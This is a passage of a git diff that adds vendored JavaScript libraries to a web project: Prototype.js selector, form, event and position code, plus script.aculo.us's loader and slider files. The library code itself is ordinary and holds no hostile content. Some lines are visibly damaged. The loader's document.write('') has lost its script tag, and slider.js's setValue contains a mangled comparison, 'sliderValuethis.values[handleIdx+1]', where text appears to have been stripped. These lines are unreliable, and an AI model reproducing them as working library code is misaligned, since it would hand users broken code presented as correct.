+ id: 'n = h.id(n, r, "#{1}", c); c = false;', + attrPresence: 'n = h.attrPresence(n, r, "#{1}"); c = false;', + attr: function(m) { + m[3] = (m[5] || m[6]); + return new Template('n = h.attr(n, r, "#{1}", "#{3}", "#{2}"); c = false;').evaluate(m); + }, + pseudo: function(m) { + if (m[6]) m[6] = m[6].replace(/"/g, '\\"'); + return new Template('n = h.pseudo(n, "#{1}", "#{6}", r, c); c = false;').evaluate(m); + }, + descendant: 'c = "descendant";', + child: 'c = "child";', + adjacent: 'c = "adjacent";', + laterSibling: 'c = "laterSibling";' + }, + + patterns: { + // combinators must be listed first + // (and descendant needs to be last combinator) + laterSibling: /^\s*~\s*/, + child: /^\s*>\s*/, + adjacent: /^\s*\+\s*/, + descendant: /^\s/, + + // selectors follow + tagName: /^\s*(\*|[\w\-]+)(\b|$)?/, + id: /^#([\w\-\*]+)(\b|$)/, + className: /^\.([\w\-\*]+)(\b|$)/, + pseudo: /^:((first|last|nth|nth-last|only)(-child|-of-type)|empty|checked|(en|dis)abled|not)(\((.*?)\))?(\b|$|\s|(?=:))/, + attrPresence: /^\[([\w]+)\]/, + attr: /\[((?:[\w-]*:)?[\w-]+)\s*(?:([!^$*~|]?=)\s*((['"])([^\]]*?)\4|([^'"][^\]]*?)))?\]/ + }, + + handlers: { + // UTILITY FUNCTIONS + // joins two collections + concat: function(a, b) { + for (var i = 0, node; node = b[i]; i++) + a.push(node); + return a; + }, + + // marks an array of nodes for counting + mark: function(nodes) { + for (var i = 0, node; node = nodes[i]; i++) + node._counted = true; + return nodes; + }, + + unmark: function(nodes) { + for (var i = 0, node; node = nodes[i]; i++) + node._counted = undefined; + return nodes; + }, + + // mark each child node with its position (for nth calls) + // "ofType" flag indicates whether we're indexing for nth-of-type + // rather than nth-child + index: function(parentNode, reverse, ofType) { + parentNode._counted = true; + if (reverse) { + for (var nodes = parentNode.childNodes, i = nodes.length - 1, j = 1; i >= 0; i--) { + node = nodes[i]; + if (node.nodeType == 1 && (!ofType || node._counted)) node.nodeIndex = j++; + } + } else { + for (var i = 0, j = 1, nodes = parentNode.childNodes; node = nodes[i]; i++) + if (node.nodeType == 1 && (!ofType || node._counted)) node.nodeIndex = j++; + } + }, + + // filters out duplicates and extends all nodes + unique: function(nodes) { + if (nodes.length == 0) return nodes; + var results = [], n; + for (var i = 0, l = nodes.length; i < l; i++) + if (!(n = nodes[i])._counted) { + n._counted = true; + results.push(Element.extend(n)); + } + return Selector.handlers.unmark(results); + }, + + // COMBINATOR FUNCTIONS + descendant: function(nodes) { + var h = Selector.handlers; + for (var i = 0, results = [], node; node = nodes[i]; i++) + h.concat(results, node.getElementsByTagName('*')); + return results; + }, + + child: function(nodes) { + var h = Selector.handlers; + for (var i = 0, results = [], node; node = nodes[i]; i++) { + for (var j = 0, children = [], child; child = node.childNodes[j]; j++) + if (child.nodeType == 1 && child.tagName != '!') results.push(child); + } + return results; + }, + + adjacent: function(nodes) { + for (var i = 0, results = [], node; node = nodes[i]; i++) { + var next = this.nextElementSibling(node); + if (next) results.push(next); + } + return results; + }, + + laterSibling: function(nodes) { + var h = Selector.handlers; + for (var i = 0, results = [], node; node = nodes[i]; i++) + h.concat(results, Element.nextSiblings(node)); + return results; + }, + + nextElementSibling: function(node) { + while (node = node.nextSibling) + if (node.nodeType == 1) return node; + return null; + }, + + previousElementSibling: function(node) { + while (node = node.previousSibling) + if (node.nodeType == 1) return node; + return null; + }, + + // TOKEN FUNCTIONS + tagName: function(nodes, root, tagName, combinator) { + tagName = tagName.toUpperCase(); + var results = [], h = Selector.handlers; + if (nodes) { + if (combinator) { + // fastlane for ordinary descendant combinators + if (combinator == "descendant") { + for (var i = 0, node; node = nodes[i]; i++) + h.concat(results, node.getElementsByTagName(tagName)); + return results; + } else nodes = this[combinator](nodes); + if (tagName == "*") return nodes; + } + for (var i = 0, node; node = nodes[i]; i++) + if (node.tagName.toUpperCase() == tagName) results.push(node); + return results; + } else return root.getElementsByTagName(tagName); + }, + + id: function(nodes, root, id, combinator) { + var targetNode = $(id), h = Selector.handlers; + if (!targetNode) return []; + if (!nodes && root == document) return [targetNode]; + if (nodes) { + if (combinator) { + if (combinator == 'child') { + for (var i = 0, node; node = nodes[i]; i++) + if (targetNode.parentNode == node) return [targetNode]; + } else if (combinator == 'descendant') { + for (var i = 0, node; node = nodes[i]; i++) + if (Element.descendantOf(targetNode, node)) return [targetNode]; + } else if (combinator == 'adjacent') { + for (var i = 0, node; node = nodes[i]; i++) + if (Selector.handlers.previousElementSibling(targetNode) == node) + return [targetNode]; + } else nodes = h[combinator](nodes); + } + for (var i = 0, node; node = nodes[i]; i++) + if (node == targetNode) return [targetNode]; + return []; + } + return (targetNode && Element.descendantOf(targetNode, root)) ? [targetNode] : []; + }, + + className: function(nodes, root, className, combinator) { + if (nodes && combinator) nodes = this[combinator](nodes); + return Selector.handlers.byClassName(nodes, root, className); + }, + + byClassName: function(nodes, root, className) { + if (!nodes) nodes = Selector.handlers.descendant([root]); + var needle = ' ' + className + ' '; + for (var i = 0, results = [], node, nodeClassName; node = nodes[i]; i++) { + nodeClassName = node.className; + if (nodeClassName.length == 0) continue; + if (nodeClassName == className || (' ' + nodeClassName + ' ').include(needle)) + results.push(node); + } + return results; + }, + + attrPresence: function(nodes, root, attr) { + var results = []; + for (var i = 0, node; node = nodes[i]; i++) + if (Element.hasAttribute(node, attr)) results.push(node); + return results; + }, + + attr: function(nodes, root, attr, value, operator) { + if (!nodes) nodes = root.getElementsByTagName("*"); + var handler = Selector.operators[operator], results = []; + for (var i = 0, node; node = nodes[i]; i++) { + var nodeValue = Element.readAttribute(node, attr); + if (nodeValue === null) continue; + if (handler(nodeValue, value)) results.push(node); + } + return results; + }, + + pseudo: function(nodes, name, value, root, combinator) { + if (nodes && combinator) nodes = this[combinator](nodes); + if (!nodes) nodes = root.getElementsByTagName("*"); + return Selector.pseudos[name](nodes, value, root); + } + }, + + pseudos: { + 'first-child': function(nodes, value, root) { + for (var i = 0, results = [], node; node = nodes[i]; i++) { + if (Selector.handlers.previousElementSibling(node)) continue; + results.push(node); + } + return results; + }, + 'last-child': function(nodes, value, root) { + for (var i = 0, results = [], node; node = nodes[i]; i++) { + if (Selector.handlers.nextElementSibling(node)) continue; + results.push(node); + } + return results; + }, + 'only-child': function(nodes, value, root) { + var h = Selector.handlers; + for (var i = 0, results = [], node; node = nodes[i]; i++) + if (!h.previousElementSibling(node) && !h.nextElementSibling(node)) + results.push(node); + return results; + }, + 'nth-child': function(nodes, formula, root) { + return Selector.pseudos.nth(nodes, formula, root); + }, + 'nth-last-child': function(nodes, formula, root) { + return Selector.pseudos.nth(nodes, formula, root, true); + }, + 'nth-of-type': function(nodes, formula, root) { + return Selector.pseudos.nth(nodes, formula, root, false, true); + }, + 'nth-last-of-type': function(nodes, formula, root) { + return Selector.pseudos.nth(nodes, formula, root, true, true); + }, + 'first-of-type': function(nodes, formula, root) { + return Selector.pseudos.nth(nodes, "1", root, false, true); + }, + 'last-of-type': function(nodes, formula, root) { + return Selector.pseudos.nth(nodes, "1", root, true, true); + }, + 'only-of-type': function(nodes, formula, root) { + var p = Selector.pseudos; + return p['last-of-type'](p['first-of-type'](nodes, formula, root), formula, root); + }, + + // handles the an+b logic + getIndices: function(a, b, total) { + if (a == 0) return b > 0 ? [b] : []; + return $R(1, total).inject([], function(memo, i) { + if (0 == (i - b) % a && (i - b) / a >= 0) memo.push(i); + return memo; + }); + }, + + // handles nth(-last)-child, nth(-last)-of-type, and (first|last)-of-type + nth: function(nodes, formula, root, reverse, ofType) { + if (nodes.length == 0) return []; + if (formula == 'even') formula = '2n+0'; + if (formula == 'odd') formula = '2n+1'; + var h = Selector.handlers, results = [], indexed = [], m; + h.mark(nodes); + for (var i = 0, node; node = nodes[i]; i++) { + if (!node.parentNode._counted) { + h.index(node.parentNode, reverse, ofType); + indexed.push(node.parentNode); + } + } + if (formula.match(/^\d+$/)) { // just a number + formula = Number(formula); + for (var i = 0, node; node = nodes[i]; i++) + if (node.nodeIndex == formula) results.push(node); + } else if (m = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b + if (m[1] == "-") m[1] = -1; + var a = m[1] ? Number(m[1]) : 1; + var b = m[2] ? Number(m[2]) : 0; + var indices = Selector.pseudos.getIndices(a, b, nodes.length); + for (var i = 0, node, l = indices.length; node = nodes[i]; i++) { + for (var j = 0; j < l; j++) + if (node.nodeIndex == indices[j]) results.push(node); + } + } + h.unmark(nodes); + h.unmark(indexed); + return results; + }, + + 'empty': function(nodes, value, root) { + for (var i = 0, results = [], node; node = nodes[i]; i++) { + // IE treats comments as element nodes + if (node.tagName == '!' || (node.firstChild && !node.innerHTML.match(/^\s*$/))) continue; + results.push(node); + } + return results; + }, + + 'not': function(nodes, selector, root) { + var h = Selector.handlers, selectorType, m; + var exclusions = new Selector(selector).findElements(root); + h.mark(exclusions); + for (var i = 0, results = [], node; node = nodes[i]; i++) + if (!node._counted) results.push(node); + h.unmark(exclusions); + return results; + }, + + 'enabled': function(nodes, value, root) { + for (var i = 0, results = [], node; node = nodes[i]; i++) + if (!node.disabled) results.push(node); + return results; + }, + + 'disabled': function(nodes, value, root) { + for (var i = 0, results = [], node; node = nodes[i]; i++) + if (node.disabled) results.push(node); + return results; + }, + + 'checked': function(nodes, value, root) { + for (var i = 0, results = [], node; node = nodes[i]; i++) + if (node.checked) results.push(node); + return results; + } + }, + + operators: { + '=': function(nv, v) { return nv == v; }, + '!=': function(nv, v) { return nv != v; }, + '^=': function(nv, v) { return nv.startsWith(v); }, + '$=': function(nv, v) { return nv.endsWith(v); }, + '*=': function(nv, v) { return nv.include(v); }, + '~=': function(nv, v) { return (' ' + nv + ' ').include(' ' + v + ' '); }, + '|=': function(nv, v) { return ('-' + nv.toUpperCase() + '-').include('-' + v.toUpperCase() + '-'); } + }, + + matchElements: function(elements, expression) { + var matches = new Selector(expression).findElements(), h = Selector.handlers; + h.mark(matches); + for (var i = 0, results = [], element; element = elements[i]; i++) + if (element._counted) results.push(element); + h.unmark(matches); + return results; + }, + + findElement: function(elements, expression, index) { + if (typeof expression == 'number') { + index = expression; expression = false; + } + return Selector.matchElements(elements, expression || '*')[index || 0]; + }, + + findChildElements: function(element, expressions) { + var exprs = expressions.join(','), expressions = []; + exprs.scan(/(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/, function(m) { + expressions.push(m[1].strip()); + }); + var results = [], h = Selector.handlers; + for (var i = 0, l = expressions.length, selector; i < l; i++) { + selector = new Selector(expressions[i].strip()); + h.concat(results, selector.findElements(element)); + } + return (l > 1) ? h.unique(results) : results; + } +}); + +function $$() { + return Selector.findChildElements(document, $A(arguments)); +} +var Form = { + reset: function(form) { + $(form).reset(); + return form; + }, + + serializeElements: function(elements, getHash) { + var data = elements.inject({}, function(result, element) { + if (!element.disabled && element.name) { + var key = element.name, value = $(element).getValue(); + if (value != null) { + if (key in result) { + if (result[key].constructor != Array) result[key] = [result[key]]; + result[key].push(value); + } + else result[key] = value; + } + } + return result; + }); + + return getHash ? data : Hash.toQueryString(data); + } +}; + +Form.Methods = { + serialize: function(form, getHash) { + return Form.serializeElements(Form.getElements(form), getHash); + }, + + getElements: function(form) { + return $A($(form).getElementsByTagName('*')).inject([], + function(elements, child) { + if (Form.Element.Serializers[child.tagName.toLowerCase()]) + elements.push(Element.extend(child)); + return elements; + } + ); + }, + + getInputs: function(form, typeName, name) { + form = $(form); + var inputs = form.getElementsByTagName('input'); + + if (!typeName && !name) return $A(inputs).map(Element.extend); + + for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) { + var input = inputs[i]; + if ((typeName && input.type != typeName) || (name && input.name != name)) + continue; + matchingInputs.push(Element.extend(input)); + } + + return matchingInputs; + }, + + disable: function(form) { + form = $(form); + Form.getElements(form).invoke('disable'); + return form; + }, + + enable: function(form) { + form = $(form); + Form.getElements(form).invoke('enable'); + return form; + }, + + findFirstElement: function(form) { + return $(form).getElements().find(function(element) { + return element.type != 'hidden' && !element.disabled && + ['input', 'select', 'textarea'].include(element.tagName.toLowerCase()); + }); + }, + + focusFirstElement: function(form) { + form = $(form); + form.findFirstElement().activate(); + return form; + }, + + request: function(form, options) { + form = $(form), options = Object.clone(options || {}); + + var params = options.parameters; + options.parameters = form.serialize(true); + + if (params) { + if (typeof params == 'string') params = params.toQueryParams(); + Object.extend(options.parameters, params); + } + + if (form.hasAttribute('method') && !options.method) + options.method = form.method; + + return new Ajax.Request(form.readAttribute('action'), options); + } +} + +/*--------------------------------------------------------------------------*/ + +Form.Element = { + focus: function(element) { + $(element).focus(); + return element; + }, + + select: function(element) { + $(element).select(); + return element; + } +} + +Form.Element.Methods = { + serialize: function(element) { + element = $(element); + if (!element.disabled && element.name) { + var value = element.getValue(); + if (value != undefined) { + var pair = {}; + pair[element.name] = value; + return Hash.toQueryString(pair); + } + } + return ''; + }, + + getValue: function(element) { + element = $(element); + var method = element.tagName.toLowerCase(); + return Form.Element.Serializers[method](element); + }, + + clear: function(element) { + $(element).value = ''; + return element; + }, + + present: function(element) { + return $(element).value != ''; + }, + + activate: function(element) { + element = $(element); + try { + element.focus(); + if (element.select && (element.tagName.toLowerCase() != 'input' || + !['button', 'reset', 'submit'].include(element.type))) + element.select(); + } catch (e) {} + return element; + }, + + disable: function(element) { + element = $(element); + element.blur(); + element.disabled = true; + return element; + }, + + enable: function(element) { + element = $(element); + element.disabled = false; + return element; + } +} + +/*--------------------------------------------------------------------------*/ + +var Field = Form.Element; +var $F = Form.Element.Methods.getValue; + +/*--------------------------------------------------------------------------*/ + +Form.Element.Serializers = { + input: function(element) { + switch (element.type.toLowerCase()) { + case 'checkbox': + case 'radio': + return Form.Element.Serializers.inputSelector(element); + default: + return Form.Element.Serializers.textarea(element); + } + }, + + inputSelector: function(element) { + return element.checked ? element.value : null; + }, + + textarea: function(element) { + return element.value; + }, + + select: function(element) { + return this[element.type == 'select-one' ? + 'selectOne' : 'selectMany'](element); + }, + + selectOne: function(element) { + var index = element.selectedIndex; + return index >= 0 ? this.optionValue(element.options[index]) : null; + }, + + selectMany: function(element) { + var values, length = element.length; + if (!length) return null; + + for (var i = 0, values = []; i < length; i++) { + var opt = element.options[i]; + if (opt.selected) values.push(this.optionValue(opt)); + } + return values; + }, + + optionValue: function(opt) { + // extend element because hasAttribute may not be native + return Element.extend(opt).hasAttribute('value') ? opt.value : opt.text; + } +} + +/*--------------------------------------------------------------------------*/ + +Abstract.TimedObserver = function() {} +Abstract.TimedObserver.prototype = { + initialize: function(element, frequency, callback) { + this.frequency = frequency; + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + this.registerCallback(); + }, + + registerCallback: function() { + setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + onTimerEvent: function() { + var value = this.getValue(); + var changed = ('string' == typeof this.lastValue && 'string' == typeof value + ? this.lastValue != value : String(this.lastValue) != String(value)); + if (changed) { + this.callback(this.element, value); + this.lastValue = value; + } + } +} + +Form.Element.Observer = Class.create(); +Form.Element.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.Observer = Class.create(); +Form.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { + getValue: function() { + return Form.serialize(this.element); + } +}); + +/*--------------------------------------------------------------------------*/ + +Abstract.EventObserver = function() {} +Abstract.EventObserver.prototype = { + initialize: function(element, callback) { + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + if (this.element.tagName.toLowerCase() == 'form') + this.registerFormCallbacks(); + else + this.registerCallback(this.element); + }, + + onElementEvent: function() { + var value = this.getValue(); + if (this.lastValue != value) { + this.callback(this.element, value); + this.lastValue = value; + } + }, + + registerFormCallbacks: function() { + Form.getElements(this.element).each(this.registerCallback.bind(this)); + }, + + registerCallback: function(element) { + if (element.type) { + switch (element.type.toLowerCase()) { + case 'checkbox': + case 'radio': + Event.observe(element, 'click', this.onElementEvent.bind(this)); + break; + default: + Event.observe(element, 'change', this.onElementEvent.bind(this)); + break; + } + } + } +} + +Form.Element.EventObserver = Class.create(); +Form.Element.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.EventObserver = Class.create(); +Form.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { + getValue: function() { + return Form.serialize(this.element); + } +}); +if (!window.Event) { + var Event = new Object(); +} + +Object.extend(Event, { + KEY_BACKSPACE: 8, + KEY_TAB: 9, + KEY_RETURN: 13, + KEY_ESC: 27, + KEY_LEFT: 37, + KEY_UP: 38, + KEY_RIGHT: 39, + KEY_DOWN: 40, + KEY_DELETE: 46, + KEY_HOME: 36, + KEY_END: 35, + KEY_PAGEUP: 33, + KEY_PAGEDOWN: 34, + + element: function(event) { + return $(event.target || event.srcElement); + }, + + isLeftClick: function(event) { + return (((event.which) && (event.which == 1)) || + ((event.button) && (event.button == 1))); + }, + + pointerX: function(event) { + return event.pageX || (event.clientX + + (document.documentElement.scrollLeft || document.body.scrollLeft)); + }, + + pointerY: function(event) { + return event.pageY || (event.clientY + + (document.documentElement.scrollTop || document.body.scrollTop)); + }, + + stop: function(event) { + if (event.preventDefault) { + event.preventDefault(); + event.stopPropagation(); + } else { + event.returnValue = false; + event.cancelBubble = true; + } + }, + + findElement: function(event, expression) { + var element = Event.element(event); + return element.match(expression) ? element : element.up(expression); + }, + + observers: false, + + _observeAndCache: function(element, name, observer, useCapture) { + if (!this.observers) this.observers = []; + if (element.addEventListener) { + this.observers.push([element, name, observer, useCapture]); + element.addEventListener(name, observer, useCapture); + } else if (element.attachEvent) { + this.observers.push([element, name, observer, useCapture]); + element.attachEvent('on' + name, observer); + } + }, + + unloadCache: function() { + if (!Event.observers) return; + for (var i = 0, length = Event.observers.length; i < length; i++) { + Event.stopObserving.apply(this, Event.observers[i]); + Event.observers[i][0] = null; + } + Event.observers = false; + }, + + observe: function(element, name, observer, useCapture) { + element = $(element); + useCapture = useCapture || false; + + if (name == 'keypress' && + (Prototype.Browser.WebKit || element.attachEvent)) + name = 'keydown'; + + Event._observeAndCache(element, name, observer, useCapture); + }, + + stopObserving: function(element, name, observer, useCapture) { + element = $(element); + useCapture = useCapture || false; + + if (name == 'keypress' && + (Prototype.Browser.WebKit || element.attachEvent)) + name = 'keydown'; + + if (element.removeEventListener) { + element.removeEventListener(name, observer, useCapture); + } else if (element.detachEvent) { + try { + element.detachEvent('on' + name, observer); + } catch (e) {} + } + } +}); + +/* prevent memory leaks in IE */ +if (Prototype.Browser.IE) + Event.observe(window, 'unload', Event.unloadCache, false); +/*------------------------------- DEPRECATED -------------------------------*/ + +var Toggle = { display: Element.toggle }; + +Element.Methods.childOf = Element.Methods.descendantOf; + +var Insertion = { + Before: function(element, content) { + return Element.insert(element, {before:content}); + }, + + Top: function(element, content) { + return Element.insert(element, {top:content}); + }, + + Bottom: function(element, content) { + return Element.insert(element, {bottom:content}); + }, + + After: function(element, content) { + return Element.insert(element, {after:content}); + } +} + +var $continue = new Error('"throw $continue" is deprecated, use "return" instead'); + +// This should be moved to script.aculo.us; notice the deprecated methods +// further below, that map to the newer Element methods. +var Position = { + // set to true if needed, warning: firefox performance problems + // NOT neeeded for page scrolling, only if draggable contained in + // scrollable elements + includeScrollOffsets: false, + + // must be called before calling withinIncludingScrolloffset, every time the + // page is scrolled + prepare: function() { + this.deltaX = window.pageXOffset + || document.documentElement.scrollLeft + || document.body.scrollLeft + || 0; + this.deltaY = window.pageYOffset + || document.documentElement.scrollTop + || document.body.scrollTop + || 0; + }, + + // caches x/y coordinate pair to use with overlap + within: function(element, x, y) { + if (this.includeScrollOffsets) + return this.withinIncludingScrolloffsets(element, x, y); + this.xcomp = x; + this.ycomp = y; + this.offset = Element.cumulativeOffset(element); + + return (y >= this.offset[1] && + y < this.offset[1] + element.offsetHeight && + x >= this.offset[0] && + x < this.offset[0] + element.offsetWidth); + }, + + withinIncludingScrolloffsets: function(element, x, y) { + var offsetcache = Element.cumulativeScrollOffset(element); + + this.xcomp = x + offsetcache[0] - this.deltaX; + this.ycomp = y + offsetcache[1] - this.deltaY; + this.offset = Element.cumulativeOffset(element); + + return (this.ycomp >= this.offset[1] && + this.ycomp < this.offset[1] + element.offsetHeight && + this.xcomp >= this.offset[0] && + this.xcomp < this.offset[0] + element.offsetWidth); + }, + + // within must be called directly before + overlap: function(mode, element) { + if (!mode) return 0; + if (mode == 'vertical') + return ((this.offset[1] + element.offsetHeight) - this.ycomp) / + element.offsetHeight; + if (mode == 'horizontal') + return ((this.offset[0] + element.offsetWidth) - this.xcomp) / + element.offsetWidth; + }, + + // Deprecation layer -- use newer Element methods now (1.5.2). + + cumulativeOffset: Element.Methods.cumulativeOffset, + + positionedOffset: Element.Methods.positionedOffset, + + absolutize: function(element) { + Position.prepare(); + return Element.absolutize(element); + }, + + relativize: function(element) { + Position.prepare(); + return Element.relativize(element); + }, + + realOffset: Element.Methods.cumulativeScrollOffset, + + offsetParent: Element.Methods.getOffsetParent, + + page: Element.Methods.viewportOffset, + + clone: function(source, target, options) { + options = options || {}; + return Element.clonePosition(target, source, options); + } +} +/*--------------------------------------------------------------------------*/ + +Element.addMethods(); \ No newline at end of file diff --git a/public/javascripts/lib/scriptaculous.js b/public/javascripts/lib/scriptaculous.js new file mode 100644 index 0000000..7c472a6 --- /dev/null +++ b/public/javascripts/lib/scriptaculous.js @@ -0,0 +1,58 @@ +// script.aculo.us scriptaculous.js v1.7.1_beta3, Fri May 25 17:19:41 +0200 2007 + +// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// +// For details, see the script.aculo.us web site: http://script.aculo.us/ + +var Scriptaculous = { + Version: '1.7.1_beta3', + require: function(libraryName) { + // inserting via DOM fails in Safari 2.0, so brute force approach + document.write(''); + }, + REQUIRED_PROTOTYPE: '1.5.1', + load: function() { + function convertVersionString(versionString){ + var r = versionString.split('.'); + return parseInt(r[0])*100000 + parseInt(r[1])*1000 + parseInt(r[2]); + } + + if((typeof Prototype=='undefined') || + (typeof Element == 'undefined') || + (typeof Element.Methods=='undefined') || + (convertVersionString(Prototype.Version) < + convertVersionString(Scriptaculous.REQUIRED_PROTOTYPE))) + throw("script.aculo.us requires the Prototype JavaScript framework >= " + + Scriptaculous.REQUIRED_PROTOTYPE); + + $A(document.getElementsByTagName("script")).findAll( function(s) { + return (s.src && s.src.match(/scriptaculous\.js(\?.*)?$/)) + }).each( function(s) { + var path = s.src.replace(/scriptaculous\.js(\?.*)?$/,''); + var includes = s.src.match(/\?.*load=([a-z,]*)/); + (includes ? includes[1] : 'builder,effects,dragdrop,controls,slider,sound').split(',').each( + function(include) { Scriptaculous.require(path+include+'.js') }); + }); + } +} + +Scriptaculous.load(); \ No newline at end of file diff --git a/public/javascripts/lib/slider.js b/public/javascripts/lib/slider.js new file mode 100644 index 0000000..c1a84eb --- /dev/null +++ b/public/javascripts/lib/slider.js @@ -0,0 +1,277 @@ +// script.aculo.us slider.js v1.7.1_beta3, Fri May 25 17:19:41 +0200 2007 + +// Copyright (c) 2005-2007 Marty Haught, Thomas Fuchs +// +// script.aculo.us is freely distributable under the terms of an MIT-style license. +// For details, see the script.aculo.us web site: http://script.aculo.us/ + +if(!Control) var Control = {}; +Control.Slider = Class.create(); + +// options: +// axis: 'vertical', or 'horizontal' (default) +// +// callbacks: +// onChange(value) +// onSlide(value) +Control.Slider.prototype = { + initialize: function(handle, track, options) { + var slider = this; + + if(handle instanceof Array) { + this.handles = handle.collect( function(e) { return $(e) }); + } else { + this.handles = [$(handle)]; + } + + this.track = $(track); + this.options = options || {}; + + this.axis = this.options.axis || 'horizontal'; + this.increment = this.options.increment || 1; + this.step = parseInt(this.options.step || '1'); + this.range = this.options.range || $R(0,1); + + this.value = 0; // assure backwards compat + this.values = this.handles.map( function() { return 0 }); + this.spans = this.options.spans ? this.options.spans.map(function(s){ return $(s) }) : false; + this.options.startSpan = $(this.options.startSpan || null); + this.options.endSpan = $(this.options.endSpan || null); + + this.restricted = this.options.restricted || false; + + this.maximum = this.options.maximum || this.range.end; + this.minimum = this.options.minimum || this.range.start; + + // Will be used to align the handle onto the track, if necessary + this.alignX = parseInt(this.options.alignX || '0'); + this.alignY = parseInt(this.options.alignY || '0'); + + this.trackLength = this.maximumOffset() - this.minimumOffset(); + + this.handleLength = this.isVertical() ? + (this.handles[0].offsetHeight != 0 ? + this.handles[0].offsetHeight : this.handles[0].style.height.replace(/px$/,"")) : + (this.handles[0].offsetWidth != 0 ? this.handles[0].offsetWidth : + this.handles[0].style.width.replace(/px$/,"")); + + this.active = false; + this.dragging = false; + this.disabled = false; + + if(this.options.disabled) this.setDisabled(); + + // Allowed values array + this.allowedValues = this.options.values ? this.options.values.sortBy(Prototype.K) : false; + if(this.allowedValues) { + this.minimum = this.allowedValues.min(); + this.maximum = this.allowedValues.max(); + } + + this.eventMouseDown = this.startDrag.bindAsEventListener(this); + this.eventMouseUp = this.endDrag.bindAsEventListener(this); + this.eventMouseMove = this.update.bindAsEventListener(this); + + // Initialize handles in reverse (make sure first handle is active) + this.handles.each( function(h,i) { + i = slider.handles.length-1-i; + slider.setValue(parseFloat( + (slider.options.sliderValue instanceof Array ? + slider.options.sliderValue[i] : slider.options.sliderValue) || + slider.range.start), i); + Element.makePositioned(h); // fix IE + Event.observe(h, "mousedown", slider.eventMouseDown); + }); + + Event.observe(this.track, "mousedown", this.eventMouseDown); + Event.observe(document, "mouseup", this.eventMouseUp); + Event.observe(document, "mousemove", this.eventMouseMove); + + this.initialized = true; + }, + dispose: function() { + var slider = this; + Event.stopObserving(this.track, "mousedown", this.eventMouseDown); + Event.stopObserving(document, "mouseup", this.eventMouseUp); + Event.stopObserving(document, "mousemove", this.eventMouseMove); + this.handles.each( function(h) { + Event.stopObserving(h, "mousedown", slider.eventMouseDown); + }); + }, + setDisabled: function(){ + this.disabled = true; + }, + setEnabled: function(){ + this.disabled = false; + }, + getNearestValue: function(value){ + if(this.allowedValues){ + if(value >= this.allowedValues.max()) return(this.allowedValues.max()); + if(value <= this.allowedValues.min()) return(this.allowedValues.min()); + + var offset = Math.abs(this.allowedValues[0] - value); + var newValue = this.allowedValues[0]; + this.allowedValues.each( function(v) { + var currentOffset = Math.abs(v - value); + if(currentOffset <= offset){ + newValue = v; + offset = currentOffset; + } + }); + return newValue; + } + if(value > this.range.end) return this.range.end; + if(value < this.range.start) return this.range.start; + return value; + }, + setValue: function(sliderValue, handleIdx){ + if(!this.active) { + this.activeHandleIdx = handleIdx || 0; + this.activeHandle = this.handles[this.activeHandleIdx]; + this.updateStyles(); + } + handleIdx = handleIdx || this.activeHandleIdx || 0; + if(this.initialized && this.restricted) { + if((handleIdx>0) && (sliderValuethis.values[handleIdx+1])) + sliderValue = this.values[handleIdx+1]; + } + sliderValue = this.getNearestValue(sliderValue); + this.values[handleIdx] = sliderValue; + this.value = this.values[0]; // assure backwards compat + + this.handles[handleIdx].style[this.isVertical() ? 'top' : 'left'] = + this.translateToPx(sliderValue); + + this.drawSpans(); + if(!this.dragging || !this.event) this.updateFinished(); + }, + setValueBy: function(delta, handleIdx) { + this.setValue(this.values[handleIdx || this.activeHandleIdx || 0] + delta, + handleIdx || this.activeHandleIdx || 0); + }, + translateToPx: function(value) { + return Math.round( + ((this.trackLength-this.handleLength)/(this.range.end-this.range.start)) * + (value - this.range.start)) + "px"; + }, + translateToValue: function(offset) { + return ((offset/(this.trackLength-this.handleLength) * + (this.range.end-this.range.start)) + this.range.start); + }, + getRange: function(range) { + var v = this.values.sortBy(Prototype.K); + range = range || 0; + return $R(v[range],v[range+1]); + }, + minimumOffset: function(){ + return(this.isVertical() ? this.alignY : this.alignX); + }, + maximumOffset: function(){ + return(this.isVertical() ? + (this.track.offsetHeight != 0 ? this.track.offsetHeight : + this.track.style.height.replace(/px$/,"")) - this.alignY : + (this.track.offsetWidth != 0 ? this.track.offsetWidth : + this.track.style.width.replace(/px$/,"")) - this.alignY); + }, + isVertical: function(){ + return (this.axis == 'vertical'); + }, + drawSpans: function() { + var slider = this; + if(this.spans) + $R(0, this.spans.length-1).each(function(r) { slider.setSpan(slider.spans[r], slider.getRange(r)) }); + if(this.options.startSpan) + this.setSpan(this.options.startSpan, + $R(0, this.values.length>1 ? this.getRange(0).min() : this.value )); + if(this.options.endSpan) + this.setSpan(this.options.endSpan, + $R(this.values.length>1 ? this.getRange(this.spans.length-1).max() : this.value, this.maximum)); + }, + setSpan: function(span, range) { + if(this.isVertical()) { + span.style.top = this.translateToPx(range.start); + span.style.height = this.translateToPx(range.end - range.start + this.range.start); + } else { + span.style.left = 